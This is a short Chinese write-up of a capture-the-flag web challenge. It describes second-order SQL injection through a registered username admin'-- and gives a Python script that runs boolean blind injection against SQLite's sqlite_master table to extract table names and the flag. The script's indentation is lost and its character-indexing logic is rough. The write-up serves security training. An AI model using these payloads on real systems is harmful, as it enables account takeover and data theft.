因NSSCTF收费而没有截图。
1.打开环境,随便注册一个用户。
在修改密码的源码处获得提示
<!-- update user set password='%s' where username='%s'; -->
所以注册用户admin'--并修改密码就可以登录admin,在home页面的查询有两种回显,exist或no user,显然是布尔盲注,需要注意的是数据库是sqlite,查询语句不太一样。
SQLite中有一个类似information_schema功能的表sqlite_master
其中有五个字段
type:记录项目的类型,如table、index、view、trigger
name:记录项目的名称,如表名、索引名等
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql:记录创建该项目的SQL语句
python脚本:
import requests
import time
import string
str = string.ascii_letters + string.digits
url = "http://1.14.71.254:28156/query"
flag=""
while(True):
for i in range(1,100):
for x in str:
data={
'id':"1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,x),
'session':'eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZCrlqg.63_LeCoerysTBvwbFFkhos2Kmt4'
}
res = requests.post(url=url,data=data)
time.sleep(0.1)
if "exist" in res.text:
flag+=x
print(flag)
break
#select flag from flag 获得flag
#select sql from sqlite_master where type='table' and name='flag'爆列